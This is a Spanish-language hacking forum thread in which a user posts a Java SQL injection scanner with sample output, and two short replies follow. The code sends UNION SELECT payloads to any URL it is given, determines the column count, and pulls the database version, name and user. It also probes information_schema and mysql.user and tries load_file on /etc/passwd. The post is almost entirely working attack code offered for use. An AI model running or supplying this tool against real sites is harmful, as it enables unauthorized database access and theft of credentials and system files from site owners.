elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  Java
| | | |-+  [Java] SQL Scanner 0.1
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Java] SQL Scanner 0.1  (Leído 2,288 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Java] SQL Scanner 0.1
« en: 13 Enero 2013, 03:40 am »

Un simple Scanner SQLI hecho en Java.

Código
  1. //SQL Scanner 0.1
  2. //Coded By Doddy H
  3.  
  4. import java.util.Scanner;
  5. import java.io.*;
  6. import java.net.*;
  7.  
  8. import java.util.regex.Matcher;
  9. import java.util.regex.Pattern;
  10.  
  11. public class Main {
  12.  
  13.    public static void main(String[] args) throws Exception {
  14.  
  15.  
  16.        String codex;
  17.        String target;
  18.  
  19.        Pattern uno = null;
  20.        Matcher dos = null;
  21.  
  22.        Scanner host = new Scanner(System.in);
  23.        System.out.println("\n\n-- == SQL Scanner 0.1 == --\n\n");
  24.        System.out.println("[+] Page : ");
  25.        target = host.nextLine();
  26.  
  27.        System.out.println("\n[+] Checking ...\n");
  28.  
  29.        codex = toma(target + "-1+union+select+666--");
  30.  
  31.        uno = Pattern.compile("The used SELECT statements have a different number of columns");
  32.        dos = uno.matcher(codex);
  33.  
  34.        if (dos.find()) {
  35.            System.out.println("[+] Scanning ...\n");
  36.  
  37.            int x;
  38.            String urlfinal;
  39.            String otrofinal;
  40.            String code;
  41.            String formariny;
  42.            String otroformar;
  43.            String link;
  44.  
  45.            urlfinal = "";
  46.            formariny = "";
  47.  
  48.            for (x = 1; x <= 5; x = x + 1) {
  49.  
  50. //urlfinal = urlfinal+x+",";
  51.                urlfinal = urlfinal + encodehex("RATSXPDOWN" + x) + ",";
  52.                formariny = formariny + x + ",";
  53.  
  54.                otrofinal = urlfinal;
  55.                otroformar = formariny;
  56.  
  57.                otrofinal = otrofinal.substring(0, otrofinal.length() - 1);
  58.                otroformar = otroformar.substring(0, otroformar.length() - 1);
  59.  
  60.                code = toma(target + "-1+union+select+" + otrofinal);
  61.  
  62.                uno = Pattern.compile("RATSXPDOWN(\\d+)");
  63.                dos = uno.matcher(code);
  64.  
  65.                if (dos.find()) {
  66.  
  67.                    otroformar = otroformar.replace(dos.group(1), "hackman");
  68.  
  69.                    link = target + "-1+union+select+" + otroformar;
  70.  
  71.                    System.out.println("[Target] : " + link);
  72.                    System.out.println("[Limit] : The site has " + x + " columns");
  73.                    System.out.println("[Data] : The number " + dos.group(1) + " print data");
  74.  
  75.                    savefile("logs-scansql.txt", "[Target] : " + link);
  76.                    savefile("logs-scansql.txt", "[Limit] : The site has " + x + " columns");
  77.                    savefile("logs-scansql.txt", "[Data] : The number " + dos.group(1) + " print data");
  78.  
  79.                    System.out.println("\n[+] Searching informaion ...\n");
  80.  
  81.                    details(link);
  82.  
  83.                    System.out.println("\n[+] Finished");
  84.  
  85.                    System.out.println("\n-- == Coded By Doddy H == --");
  86.  
  87.                    savefile("logs-scansql.txt", "\n-----------------\n");
  88.  
  89.                    System.exit(1);
  90.  
  91.                }
  92.  
  93.            }
  94.            System.out.println("[-] Error");
  95.        } else {
  96.            System.out.println("[-] Not vulnerable");
  97.        }
  98.  
  99.    }
  100.  
  101.    private static void details(String urla) throws Exception {
  102.  
  103.        String concat;
  104.        String code;
  105.  
  106.        Pattern uno = null;
  107.        Matcher dos = null;
  108.  
  109.        concat = "concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))";
  110.  
  111.        urla = urla.replace("hackman", concat);
  112.  
  113.        code = toma(urla);
  114.  
  115.        uno = Pattern.compile("ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854");
  116.        dos = uno.matcher(code);
  117.  
  118.        if (dos.find()) {
  119.            System.out.println("[+] DB Version : " + dos.group(1));
  120.            System.out.println("[+] DB Name : " + dos.group(2));
  121.            System.out.println("[+] Username : " + dos.group(3));
  122.  
  123.            savefile("logs-scansql.txt", "[+] DB Version : " + dos.group(1));
  124.            savefile("logs-scansql.txt", "[+] DB Name : " + dos.group(2));
  125.            savefile("logs-scansql.txt", "[+] Username : " + dos.group(3));
  126.  
  127.        } else {
  128.            System.out.println("[-] Not found any data");
  129.        }
  130.  
  131.        urla = urla.replace(concat, "char(69,82,84,79,82,56,53,52)");
  132.  
  133.        code = toma(urla + "+from+information_schema.tables--");
  134.        uno = Pattern.compile("ERTOR854");
  135.        dos = uno.matcher(code);
  136.  
  137.        if (dos.find()) {
  138.            System.out.println("[+] information_schema : on");
  139.            savefile("logs-scansql.txt", "[+] information_schema : on");
  140.        } else {
  141.            System.out.println("[-] information_schema : off");
  142.        }
  143.  
  144.        code = toma(urla + "+from+mysql.user--");
  145.        uno = Pattern.compile("ERTOR854");
  146.        dos = uno.matcher(code);
  147.  
  148.        if (dos.find()) {
  149.            System.out.println("[+] mysqluser : on");
  150.            savefile("logs-scansql.txt", "[+] mysqluser : on");
  151.        } else {
  152.            System.out.println("[-] mysquser : off");
  153.        }
  154.  
  155.        urla = urla.replace("char(69,82,84,79,82,56,53,52)", "concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))");
  156.  
  157. //ystem.out.print(urla);
  158.  
  159.        code = toma(urla);
  160.        uno = Pattern.compile("ERTOR854");
  161.        dos = uno.matcher(code);
  162.  
  163.        if (dos.find()) {
  164.            System.out.println("[-] load_file : on");
  165.            savefile("logs-scansql.txt", "[-] load_file : on");
  166.        } else {
  167.            System.out.println("[-] load_file : off");
  168.        }
  169.  
  170.    }
  171.  
  172.    private static void savefile(String nombre, String texto) throws Exception {
  173.  
  174.        FileWriter writer = new FileWriter(nombre, true);
  175.        writer.write(texto + "\r\n");
  176.        writer.close();
  177.  
  178.    }
  179.  
  180.    private static String toma(String urla) throws Exception {
  181.  
  182.        String re;
  183.  
  184.        StringBuffer conte = new StringBuffer(40);
  185.  
  186.        URL url = new URL(urla);
  187.        URLConnection hc = url.openConnection();
  188.        hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  189.  
  190.        BufferedReader nave = new BufferedReader(
  191.                new InputStreamReader(hc.getInputStream()));
  192.  
  193.        while ((re = nave.readLine()) != null) {
  194.            conte.append(re);
  195.        }
  196.  
  197.        nave.close();
  198.  
  199.        return conte.toString();
  200.  
  201.    }
  202.  
  203.    public static String encodehex(String text) {
  204.  
  205. //Thanks to Katarina Majetic
  206. //Based on http://www.dzone.com/snippets/encode-string-hex
  207.  
  208.        byte[] z = text.getBytes();
  209.        StringBuffer h = new StringBuffer();
  210.        String l;
  211.        int n;
  212.        int a = z.length;
  213.        int u;
  214.  
  215.        for (n = 0; n < a; n++) {
  216.            u = z[n] & 0x000000FF;
  217.            l = Integer.toHexString(u);
  218.            h.append(l);
  219.        }
  220.        return "0x" + h.toString();
  221.    }
  222. }
  223.  
  224. //The End ?
  225.  

Ejemplo de uso

Código:

-- == SQL Scanner 0.1 == --


[+] Page :
http://localhost/sql.php?id=

[+] Checking ...

[+] Scanning ...

[Target] : http://localhost/sql.php?id=-1+union+select+hackman,2,3
[Limit] : The site has 3 columns
[Data] : The number 1 print data

[+] Searching informaion ...

[+] DB Version : 5.5.20-log
[+] DB Name : hackman
[+] Username : root@localhost
[+] information_schema : on
[+] mysqluser : on
[-] load_file : off

[+] Finished

-- == Coded By Doddy H == --



« Última modificación: 13 Enero 2013, 22:32 pm por Doddy » En línea

sapito169


Desconectado Desconectado

Mensajes: 628



Ver Perfil
Re: [Java] SQL Scanner 0.1
« Respuesta #1 en: 13 Enero 2013, 20:01 pm »

muchas gracias y felicitaciones por tu aporte hay cosas que muestras que no conozco a profundidad y quisiera conocer mejor

pero hay otras cosas que son muy incomodas

La primera es que publicaste el mismo post varias veces

La segunda es que solo te limitaste a publicar a poner el código lo cual es molesto por que es difícil que estas haciendo y porque seria mejor que pongas un poco mas de texto explicando que haces y dando una pequeña introducción teórica o aun-quesea explicando que hace el código y porque


En línea

BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [Java] SQL Scanner 0.1
« Respuesta #2 en: 13 Enero 2013, 21:34 pm »

si , me gusta hacer traducciones , hago el mismo programa en todos los lenguajes que conozco , eso si , el proximo codigo que publique le agrego un ejemplo de uso.

pd : le agregue el ejemplo de uso al post.
« Última modificación: 13 Enero 2013, 22:32 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¿como hacer que java no llame a Java Runtime Environment?
Java
misforos 3 4,440 Último mensaje 28 Mayo 2010, 17:12 pm
por egyware
[Java] SQLI Scanner 0.2
Java
BigBear 1 2,821 Último mensaje 22 Enero 2013, 16:27 pm
por Slider324
[Java]Port Scanner 0.1
Java
0xFer 9 8,747 Último mensaje 28 Junio 2013, 02:24 am
por ThinkByYourself
Scanner en Java
Java
Geormarsch 2 1,898 Último mensaje 8 Octubre 2014, 06:24 am
por Geormarsch
[Java] SQLI Scanner 0.4
Java
BigBear 0 1,447 Último mensaje 5 Marzo 2016, 16:15 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines